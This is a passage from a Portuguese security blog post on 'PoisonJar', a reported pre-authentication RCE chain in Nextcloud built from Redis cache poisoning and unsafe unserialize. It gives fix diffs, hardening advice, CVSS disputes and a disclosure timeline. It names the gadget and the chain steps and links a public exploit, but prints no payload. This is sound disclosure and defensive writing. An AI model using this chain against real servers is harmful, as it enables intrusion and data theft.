A senha protege o Redis de quem está totalmente fora — não de quem já está na malha. E "alguém na malha" é justamente o estado normal de qualquer ambiente Docker, Kubernetes ou VPC.

A lição: no instante em que um cache compartilhado alimenta um deserializador, o Redis deixa de ser "só performance" e vira superfície de execução de código — o mesmo padrão do CVE-2024-31989 (Argo CD). O raio de explosão não é o Nextcloud: é toda a malha que alcança aquele Redis. É por isso que as defesas a seguir assumem que a rede já pode estar comprometida.

Detecção, Defesa e Correção

A Correção (trivial)

O sink pode ser corrigido com uma linha. A solução recomendada vai além e elimina a classe de ataque inteira usando JSON em vez de serialização PHP:

// lib/private/TaskProcessing/Manager.php

// Correção imediata (1 linha) — restringe as classes permitidas
- $this->availableTaskTypes = unserialize($cachedValue);
+ $this->availableTaskTypes = unserialize($cachedValue, ['allowed_classes' => false]);

// Correção recomendada — elimina a classe de ataque (PHP object injection impossível)
- $this->availableTaskTypes = unserialize($cachedValue);
+ $this->availableTaskTypes = json_decode($cachedValue, true);
// (e na linha 919, trocar serialize() por json_encode())
// lib/private/TaskProcessing/Manager.php

// Immediate fix (1 line) — restricts the allowed classes
- $this->availableTaskTypes = unserialize($cachedValue);
+ $this->availableTaskTypes = unserialize($cachedValue, ['allowed_classes' => false]);

// Recommended fix — eliminates the attack class (PHP object injection impossible)
- $this->availableTaskTypes = unserialize($cachedValue);
+ $this->availableTaskTypes = json_decode($cachedValue, true);
// (and at line 919, swap serialize() for json_encode())

Endurecimento de Infraestrutura

Enquanto o patch não chega — e como defesa em profundidade permanente — trate o Redis como o alvo crítico que ele é:

Prioridade Ação Implementação
🔴 Crítica Autenticar o Redis requirepass <senha-forte> + redis password no Nextcloud
🔴 Crítica Isolar a rede NetworkPolicy no K8s; firewall/Security Group liberando só o app
🟠 Alta Restringir o bind bind 127.0.0.1 ou IP interno; nunca 0.0.0.0 exposto
🟠 Alta Assinar o cache (HMAC) Assinar dados cacheados com o instance secret para detectar adulteração
🟡 Média Monitorar escritas Alertar sobre novos arquivos em ocs-provider/ e acessos anômalos ao Redis

Lição de arquitetura: as defesas acima partem do princípio de que a rede já pode estar comprometida — porque, como mostra A Barreira do Redis, "está na rede privada" não é um controle de segurança. Dados que alimentam um unserialize() precisam ser tratados como entrada hostil — sempre.

Conclusão

O PoisonJar não depende de nenhuma vulnerabilidade de memória exótica nem de um 0-day rebuscado. Ele é a composição de quatro decisões individualmente "aceitáveis" que, juntas, viram um RCE pré-autenticação: um unserialize() sem restrição, um endpoint público, um gadget conveniente no 3rdparty/ e um diretório que escapa do .htaccess. Nenhuma dessas peças é, sozinha, "crítica". A cadeia é.

"A diferença entre um achado 'informativo' e um RCE crítico raramente está em uma única linha de código — está na capacidade de enxergar como linhas inofensivas se conectam. Deserialização insegura é a prova viva disso: o gadget já estava lá, esperando."

— Análise ERSECURITY, Maio 2026

Posição do Vendor: Report, Triagem e Severidade

Um achado técnico não termina no PoC — termina no processo de divulgação. Aqui eu registro, em primeira pessoa e de forma factual, o que aconteceu depois que reportei o PoisonJar: o fluxo do report, a decisão do programa, a disputa de severidade e o contexto que cercou tudo. Inclusive onde eu mesmo errei. Faço isso no espírito da divulgação coordenada (CVD) — crítica ao processo, sem nomear pessoas.

PoC DO REPORT

A PoC que Enviei no Report

Este é o vídeo de prova de conceito que eu mesmo gravei e enviei junto com o report à HackerOne — a cadeia completa, do cache poisoning no Redis ao RCE como www-data, exatamente como submetida ao programa do Nextcloud.

O mesmo material de PoC enviado ao fornecedor na divulgação coordenada (CVD) — apenas para fins educacionais.

O Report e Sua Tramitação

Submeti o report em 27 de março de 2026 ao programa do Nextcloud na HackerOne, com a cadeia de exploração completa, PoC reproduzível, laboratório Docker e dois vídeos de demonstração. Declarei abertamente o uso de um LLM como auxílio à análise de código e à escrita — mas reproduzi manualmente cada passo em ambiente isolado. No mesmo dia, o report foi fechado como Duplicate de um achado pré-existente (#3570775), classificado pelo programa como Informative.

Data Evento
27 Mar 2026 Submeti o report com a cadeia RCE completa, PoC, lab e vídeos
27 Mar 2026 Fechado como Duplicate de um achado Informative (CVSS 4.7), descrito como "unserialize genérico"
31 Mar 2026 Pedi a divulgação coordenada — citando a política da HackerOne para reports informativos
10 Abr 2026 Pedido de divulgação cancelado ("pending final check") e severidade alterada de 9.8 → 2.2, sem justificativa escrita
10 Abr 2026 Contestei a ação do programa e pedi a reabertura do report — para que o resultado da reavaliação ficasse documentado
22 Abr 2026 Perguntei sobre a retroatividade do bounty (meu report é anterior ao fim do programa) — sem resposta
08 Mai 2026 Pedi novamente a divulgação/reabertura — para documentar o status do "final check"

O Paradoxo "Duplicate + Informative"

A classificação final combinou dois rótulos que puxam em direções opostas: Duplicate diz "já conhecemos esse problema" — logo, ele é reconhecido; Informative diz "isto não tem impacto de segurança acionável" — logo, não é uma vulnerabilidade. Algo não pode ser, ao mesmo tempo, conhecido o bastante para ser duplicado e, ainda assim, não ser um problema de segurança. Reforça a inconsistência o fato de o report-pai já carregar CVSS 4.7 (Medium) — alguém, em algum momento, já tinha pontuado essa classe de bug como de severidade média.

O sink × a cadeia: o report-pai descrevia um padrão genérico de unserialize — o sink, a porta. O meu demonstrava a cadeia de exploração confirmada: cache poisoning → gadget FileCookieJar → bypass de .htaccess → webshell → RCE como www-data, com PoC e vídeo. O sink é a porta; a cadeia é a prova de que a porta abre. Deduplicar uma cadeia explorável e comprovada sob um sink teórico é, no mínimo, discutível.

A Severidade: Onde Eu Exagerei e Onde Discordo

Vou começar admitindo o meu lado: eu exagerei no 9.8. Um 9.8 "perfeito" pressupõe zero atrito, e aqui existe uma pré-condição real — eu preciso de acesso de rede e escrita ao Redis para envenenar o cache. Refletir isso no vetor é trocar AV:N por AV:A, o que me leva, honestamente, para 8.8. Reduzir a nota, portanto, era correto. O problema não é a redução — é o quanto e o como: a nota caiu para 2.2 sem uma justificativa escrita que explicasse quais métricas mudaram e por quê.

E dá para ser preciso — CVSS é um vetor, não um chute. Montando na calculadora oficial do CVSS v3.1, o meu erro e as variações defensáveis ficam lado a lado com o vetor final do fornecedor:

eu (9.8)     : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H   <- meu exagero (AV:N ignora a rede do Redis)
honesto (8.8): CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H   <- a unica correcao honesta: AV:N -> AV:A
escopo (9.6) : CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H   <- cache poisoning cruza a fronteira de confianca (S:C)
piso (8.1)   : CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H   <- piso conservador, se o no-auth contar como AC:H
vendor (2.2) : CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:L/A:N   <- o vetor do fornecedor (painel CVSS do report)
me (9.8)      : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H   <- my overstatement (AV:N ignores the Redis network)
honest (8.8)  : CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H   <- the only honest fix: AV:N -> AV:A
scope (9.6)   : CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H   <- cache poisoning crosses the trust boundary (S:C)
floor (8.1)   : CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H   <- conservative floor, if no-auth counts as AC:H
vendor (2.2)  : CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:L/A:N   <- the vendor's vector (report's CVSS panel)

O fornecedor publicou um vetor (ele aparece no painel de cálculo do report), mas sem justificativa escrita — e duas escolhas dele não se sustentam tecnicamente:

  • PR:H (privilégios altos) está errado: o gatilho é um endpoint #[PublicPage] — o atacante não precisa de privilégio nenhum no Nextcloud. O acesso ao Redis é uma posição de rede, melhor modelada como AV:A (ou AC), nunca como privilégio na aplicação.
  • C:N / I:L / A:N (impacto quase nulo) é o erro central: o estado final da cadeia é RCE como www-data — leitura de todos os arquivos, roubo do config.php, persistência. Isso é C:H / I:H / A:H, não "integridade baixa". Essa única escolha é o que esmaga a nota até 2.2.

De qualquer ângulo defensável, o número honesto fica entre 8.1 e 9.6 — ainda Alto/Crítico, porque o resultado é RCE pré-autenticação. De 9.8 para 8.8 há um argumento técnico que eu próprio assino; de 9.8 para 2.2, em silêncio, não há — ainda mais quando tratar o Redis como entrada não confiável (Kubernetes/VPC) puxa a fronteira de confiança para cima, não para baixo.

"Uma nota de CVSS sem o raciocínio por trás não é uma avaliação — é um veredito. E vereditos sem fundamentação são exatamente o que o CVSS foi criado para evitar."

— Análise ERSECURITY, Maio 2026

O Contexto Honesto: Bounty e "AI Slop"

Seria desonesto contar isso só de um lado. Meu report entrou dentro da janela de uma política de bounty que oferecia até US$ 10.000 para RCE; poucas semanas depois, o fornecedor encerrou o programa de recompensas, citando publicamente uma enxurrada de reports de baixa qualidade gerados por IA — o fenômeno conhecido como "AI slop", que sufocou equipes de triagem do setor inteiro. No meio dessa onda, a minha transparência sobre o uso de LLM pode, paradoxalmente, ter ligado um alerta. É plausível que um RCE genuíno e reproduzível tenha sido varrido junto com o ruído.

Reconhecer o contexto não absolve as falhas de processo — contextualiza. Um triador exausto, mesmo assim, pode publicar um vetor CVSS ao reduzir uma nota e responder a uma disputa técnica com uma frase. O "AI slop" explica a desconfiança inicial; não explica o paradoxo lógico Duplicate + Informative, nem a queda de severidade sem justificativa, nem o silêncio que se seguiu aos meus pedidos.

O Que Eu Levo Disso

A divulgação coordenada é uma relação, não uma transação — e quando emperra, a perda é mútua. Encontrar a vulnerabilidade foi a parte fácil; o mais difícil, e o mais educativo, foi entender que segurança não é só código: é processo, confiança e como se lida com o desacordo. Daqui eu levo quatro lições práticas: documentar tudo (a linha do tempo de hoje é o argumento de amanhã), separar o sink da cadeia de forma explícita, gerenciar o ângulo "IA" com provas manuais — e calibrar o próprio CVSS com um vetor, não com um número solto.

"A diferença entre um achado 'informativo' e um RCE crítico raramente está em uma linha de código — está em enxergar como linhas inofensivas se conectam. E defender essa diferença exige um vetor, não um veredito."

— Encerramento do PoisonJar

Recursos e Referências

Tipo Recurso Link
💻 PoC Exploit + laboratório Docker (2 cenários, PT/EN) GitHub
📖 CWE CWE-502: Deserialization of Untrusted Data MITRE
🐘 PHP unserialize() — opção allowed_classes php.net
📦 Gadget GuzzleHttp\Cookie\FileCookieJar guzzle/guzzle
🤖 TaskProcessing API introduzida no Nextcloud 30 Dev Manual
🆙 Release Notes Upgrade to Nextcloud 30 Docs
🐳 Docker Bug Redis AUTH quebrado sem senha (getenv false) Issue #1179
🐳 Docker docker-compose sem senha no Redis Issue #1608
🔬 Pesquisa Wiz — ~60.000 instâncias Redis sem auth (2025) Wiz Research
🤝 Processo HackerOne — Coordinated Vulnerability Disclosure Docs
📊 CVSS CVSS v3.1 — Specification & Calculator FIRST.org
💰 Bounty Updates about the Nextcloud Bug Bounty Program Blog Nextcloud
📰 Imprensa Nextcloud ends bug bounty over low-quality AI reports Techzine
🤖 Contexto O fenômeno do "AI slop" em bug bounties Cybernews
Compartilhe:

Ermenson Marcos Rodrigues Junior

Segurança Ofensiva | Pentester | Red Team

Analista de Segurança Ofensiva com experiência prática em testes de intrusão. Acredita que compartilhar conhecimento é a melhor forma de crescer na área. Formado pela Desec Security e praticante constante de HTB e TryHackMe.